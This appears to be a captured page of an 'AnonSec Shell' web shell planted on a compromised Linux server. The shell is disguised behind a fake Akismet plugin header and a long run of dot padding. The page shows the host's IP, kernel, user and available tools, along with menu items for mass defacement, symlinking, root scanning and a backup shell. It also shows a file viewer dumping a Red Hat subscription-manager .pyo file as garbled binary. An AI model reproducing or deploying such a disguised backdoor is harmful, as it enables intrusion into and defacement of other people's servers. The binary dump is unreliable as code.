#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyo
�
L��ec@`s�ddlmZmZmZddlmZddlZddlZddl	Z	ddl
Z
yddlmZe
ZWnek
r�ZeZnXddlmZddlmZddlmZddlmZmZmZmZdd	lmZdd
lm Z ej!e"�Z#e j$e��Z%ga&de'fd��YZ(d
�Z)de*fd��YZ+de*fd��YZ,er�de,fd��YZ-nde,efd��YZ.de.fd��YZ/d�Z0d�Z1dS(i(tprint_functiontdivisiontabsolute_import(tRawConfigParserN(tDeb822(tutils(tPath(tconfigparser(tparse_qsturlparset
urlunparset	urlencode(t
initConfig(tconfigtRepocB`s�eZidd6d d6d!d6d"d6d#d6d$d6d%d	6d&d
6d'd6d(d6d)d6d*d6d+d6d,d6d-d6Zdd�Zd�Zed��Zed��Z	ed��Z
d�Zd�Zd�Z
d�Zd�Zd�ZRS(.itnametbaseurlit1tenabledtgpgchecktgpgkeyt	sslverifyt	sslcacerttsslclientkeyt
sslclientcerttmetadata_expiret0tenabled_metadatatproxytproxy_usernametproxy_passwordtui_repoid_varscC`s�|p	g}|j|�|_g|_d|_x'|D]\}}|r7|||<q7q7WxNt|jj��D]7\}\}}|t|j��krp|||<qpqpWdS(N(	t	_clean_idtidt_ordertNonetcontent_typetlistt
PROPERTIEStitemstkeys(tselftrepo_idtexisting_valuestkeytvaluetkt_mtd((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt__init__Gs		(cC`s@t|j�}x*t|j��D]\}}|||<q"W|S(N(RR!R%R'(R)tnew_repoR,R-((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytcopy_scC`s�||j�}|j|_|j|d<|jrHd|d<d|d<nd|d<d|d<tj||j�}tj||�|d<|dj	d�}g|D]}|j
d�r�|d	^q�}	|	r�d
j|	�|d<n|j}
|
sd}
d|d
<ntj||
�}
t
dd}|rxtj||�}|
sO|
dkrX|}
qx||
krx|
d|7}
qxn|
|d<|jj�|d<|jj|d<||d<|j|d<tj|�}|S(s�Create an instance of Repo() from an ent_cert.EntitlementCertContent().

        And the other out of band info we need including baseurl, ca_cert, and
        the release version string.
        RRRRRRt/t$it RtRtrhsmtrepomd_gpg_urlshttps://shttp://t,RRRRR(shttps://shttp://(tlabelR$RRRt_expand_releaseverturlRt
url_base_jointsplitt
startswithtjointgpgtconftcerttkey_pathtpathRt_set_proxy_info(tclstcontentRtca_certtrelease_sourcetrepotexpanded_url_patht
repo_partstparttrepoid_varstgpg_urlR9((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytfrom_ent_cert_contentesB
	



,	
	


cC`s�d}tdd}|jd�r0|d }n|dkr]tj�}|jdd�}ntdd}tdd}|dkr�|r�|d	|}n|d|}n||d
<tdd|d<tdd
|d
<|S(NR7tservertproxy_schemes://i����thttptproxy_hostnamet
proxy_portt:Rt
proxy_userRR(RCtendswithtdefaultstget(RLRRTR[t
proxy_hostRW((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyRG�s"

cC`s2|j|kr|S|j�}|j|j|�S(N(tmarkert
get_expansiontreplace(RKt
contenturlt	expansion((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR<�s
cC`sRd}tjtjd}x1|D])}||kr@|d7}q!||7}q!W|S(s�
        Format the config file id to contain only characters that yum expects
        (we'll just replace 'bad' chars with -)
        R7s-_.:t-(tstringt
ascii_letterstdigits(R)R*tnew_idtvalid_charstbyte((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR �s

cC`s@tg|jD],}||kr
||r
|||f^q
�S(sT
        Called when we fetch the items for this yum repo to write to disk.
        (ttupleR"(R)R.((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR'�scC`s9||jkr"|jj|�ntj|||�dS(N(R"tappendtdictt__setitem__(R)R,R-((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyRm�scC`ssg}|jd|j�xI|jD]>}|j|�}|dkrKq$n|jd||f�q$Wdj|�S(Ns[%s]s%s=%ss
(RkR!R&R\R#RA(R)tsR.tv((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt__str__�scC`s|j|jkS(N(R!(R)tother((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt__eq__�scC`s
t|j�S(N(thashR!(R)((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt__hash__�sN(iN(iN(iR(iR(iN(iR(iN(iN(iN(iN(iR(iN(iN(iN(iN(t__name__t
__module__R#R&R1R3tclassmethodRRtstaticmethodRGR<R R'RmRpRrRt(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR4s6
	7"					cC`sxytdjd�}WnDtk
r:}tj|�tStjk
r]}tj|�tSX|dkrntSt	|�S(NR8tmanage_repos(
RCtget_intt
ValueErrortlogt	exceptiontTrueRtErrorR#tbool(Ryte((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytmanage_repos_enableds

t
TidyWritercB`s)eZdZd�Zd�Zd�ZRS(s
    ini file reader that removes successive newlines,
    and adds a trailing newline to the end of a file.

    used to keep our repo file clean after removals and additions of
    new sections, as iniparser's tidy function is not available in all
    versions.
    cC`s||_t|_t|_dS(N(tbacking_filetFalsetends_with_newlinetwriting_empty_lines(R)R�((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR1s		cC`s�|jd�}d}x�|t|�kr�||}|dkr�|t|�dkr�|jsr|jjd�nt|_q�nBt|_|jj|�|t|�dkr�|jjd�n|d7}qW|ddkr�t|_n	t|_dS(Ns
iR7ii����(R?tlenR�R�twriteR~R�R�(R)tlinetlinesti((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�$s"
		cC`s |js|jjd�ndS(Ns
(R�R�R�(R)((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytclose;s	(RuRvt__doc__R1R�R�(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�s			tRepoFileBasecB`sYeZddd�Zd�Zd�Zd�Zd�Zed��Z	ed��Z
RS(cC`s�|p|j}|p|j}tj||�|_tj|�|_t�|_|j	|j�s�t
jd|j�t|_n
|j
�dS(Ns,%s does not exist, turning manage_repos off.(tPATHtNAMERRARFtabst	repos_dirR�Rytpath_existsR|twarnR�tcreate(R)RFR((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR1Bs	cC`stjj|�S(swrapper around os.path.exists(tosRFtexists(R)RF((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�TscC`s|j|j�S(N(R�RF(R)((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�XscC`sO|j|j�s|jr dSt|jd��}|j|j�WdQXdS(Ntw(R�RFRytopenR�tREPOFILE_HEADER(R)tf((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�[scC`s|S(N((R)RI((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytfix_contentascC`stjjtj|j��S(N(R�RFR�RR�R�(RH((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt	installeddscC`s
|d�S(Nsvar/lib/rhsm/repo_server_val/((RH((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytserver_value_repo_filehsN(RuRvR#R1R�R�R�R�RwR�R�(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�@s				tAptRepoFilecB`szeZdZdZdgZdZd
d
d�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�ZRS(setc/apt/sources.list.dsrhsm.sourcestdebs�#
# Certificate-Based Repositories
# Managed by (rhsm) subscription-manager
#
# *** This file is auto-generated.  Changes made here will be over-written. ***
# *** Use "subscription-manager repo-override --help" if you wish to make changes. ***
#
# If this file is empty and this system is subscribed consider
# a "apt-get update" to refresh available repos
#
# *** DO NOT EDIT THIS FILE ***
#
cC`s&tt|�j||�g|_dS(N(tsuperR�R1trepos822(R)RFR((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR1�scC`sOt|jd��7}x-tj|dt�D]}|jj|�q+WWdQXdS(Ntrtshared_storage(R�RFRtiter_paragraphsR�R�Rk(R)R�trepo822((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytread�scC`s~|js!tjd|j�dSt|jd��E}|j|j�x+|jD] }|jd�|j|�qPWWdQXdS(Ns.Skipping write due to manage_repos setting: %sR�s
(	RyR|tdebugRFR�R�R�R�tdump(R)R�R�((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��s		
cC`sdtg|j�D]$\}}t|�t|�f^q�}|j|d<|jjt|��dS(NR!(RlR'tstrR!R�RkR(R)RLR.Rot	repo_dict((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytadd�s=
cC`s7g|jD]}|d|jkr
|^q
|j(dS(NR!(R�R!(R)RLR�((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytdelete�scC`s�tg|j�D]$\}}t|�t|�f^q�}|j|d<g|jD]+}|d|jkrs|n	t|�^qT|j(dS(NR!(RlR'R�R!R�R(R)RLR.RoR�R�((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytupdate�s=
cC`sTg|jD]"}|d|kr
t|�^q
}t|�dkrL|dSdSdS(NR!i(R�RR�R#(R)R*R�tresult((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytsection�s2cC`s g|jD]}t|�^q
S(N(R�R(R)R�((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytsections�scC`s�|d}tjd|�}tjd|d�}|rq|rq|jd�}|jd�}dj||�}n|j�}d|d	<||d
<d|d<d
|d<d|d<|S(NRs^https?://(?P<location>.*)$s.^/etc/pki/entitlement/(?P<entitlement>.*).pem$Rtlocationtentitlementskatello://{}@{}R�tTypestURIstdefaulttSuitestallt
ComponentstyestTrusted(tretmatchtgrouptformatR3(R)RIRturl_restent_resR�R�tapt_cont((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��s





N(RuRvR�R�t
CONTENT_TYPESR�R#R1R�R�R�R�R�R�R�R�(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�ns	
							tYumRepoFilecB`szeZdZdZdgZdZd
d
d�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�ZRS(setc/yum.repos.d/sredhat.repotyumsf#
# Certificate-Based Repositories
# Managed by (rhsm) subscription-manager
#
# *** This file is auto-generated.  Changes made here will be over-written. ***
# *** Use "subscription-manager repo-override --help" if you wish to make changes. ***
#
# If this file is empty and this system is subscribed consider
# a "yum repolist" to refresh available repos
#
cC`s$tj|�tj|||�dS(N(tConfigParserR1R�(R)RFR((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR1�s
cC`stj||j�dS(N(R�R�RF(R)((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��scC`s�t|j��t|j��kr(tSxs|j�D]e}tg|j|�D]$\}}t|�t|�f^qN�}|t|j|��kr5tSq5WtS(N(tsetR�R�RlR'R�R~(R)totherparserR�R.Rot
current_items((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt_configparsers_equal�s$@cC`s't�}|j|j�|j|�S(sT
        Check if the version on disk is different from what we have loaded
        (R�R�RFR�(R)ton_disk((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt_has_changed�s	cC`sv|js!tjd|j�dS|j�rrt|jd�}t|�}tj||�|j	�|j	�ndS(Ns.Skipping write due to manage_repos setting: %sR�(
RyR|R�RFR�R�R�R�R�R�(R)R�ttidy_writer((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��s		
cC`s!|j|j�|j|�dS(N(tadd_sectionR!R�(R)RL((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��scC`s
|j|�S(N(tremove_section(R)R�((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��scC`svx3|j|j�D]\}}|j|j|�qWx9t|j��D]%\}}tj||j||�qIWdS(N(R'R!t
remove_optionR%R�R�(R)RLR.Ro((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��scC`s)|j|�r%t||j|��SdS(N(thas_sectionRR'(R)R�((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�sN(RuRvR�R�R�R�R#R1R�R�R�R�R�R�R�R�(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR��s								tZypperRepoFilecB`sAeZdZdZdZddd�Zd�Zed��Z	RS(setc/rhsm/zypper.repos.dsredhat.reposc#
# Certificate-Based Repositories
# Managed by (rhsm) subscription-manager
#
# *** This file is auto-generated.  Changes made here will be over-written. ***
# *** Use "subscription-manager repo-override --help" if you wish to make changes. ***
#
# If this file is empty and this system is subscribed consider
# a "zypper lr" to refresh available repos
#
cC`stt|�j||�dS(N(R�R�R1(R)RFR((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR1scC`s�|j�}|d}|d}|d}|d}|d}|d}|d}	|d=|d=|d=|d=|d=|d=|d=|ddkr�|d=n|d}
t|
�}t|j�}|r�|dkr�d
|d<n|rtjj|�|d<n|r||d<n|r&||d<n|r9||d<n|rL||d<n|	r_|	|d<nt|�}
t|j	|j
|j|j|
|jf�}||d<|S(NRRRRRRRRshttps://shttp://RRthostt
ssl_verifyt
ssl_capatht
ssl_clientkeytssl_clientcertt	proxyusert	proxypass(shttps://shttp://(R(
R3R	RtqueryR�RFtdirnameRR
tschemetnetloctparamstfragment(R)RItzypper_contRRRRRRRRtparsedtzypper_query_argstzypper_querytnew_url((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR� sL














-
cC`s|ddj|j��S(Nsvar/lib/rhsm/repo_server_val/s	zypper_{}(R�R�(RH((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�PsN(
RuRvR�R�R�R#R1R�RwR�(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyR�
s	0cC`sTttg}tr"|jt�ng|D]!}|j�r)||jf^q)}|S(N(R�R�t
HAS_DEB822RkR�R�R�(trepo_file_classestRepoFilet
repo_files((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytinit_repo_file_classesUs
!cC`stst�antS(N(R�R�(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pytget_repo_file_classesas(2t
__future__RRRtiniparseRR�tloggingR�R�Rdt
debian.deb822RR~R�tImportErrorR�R�tsubscription_managerRt"subscription_manager.certdirectoryRt	six.movesRtsix.moves.urllib.parseRR	R
Rtrhsm.configRtrhsmlib.servicesR
t	getLoggerRuR|tConfigRCR�RlRR�tobjectR�R�R�R�R�R�R�(((sC/usr/lib64/python2.7/site-packages/subscription_manager/repofile.pyt<module>s:

"�	,-QNH	

Anon7 - 2022
AnonSec Team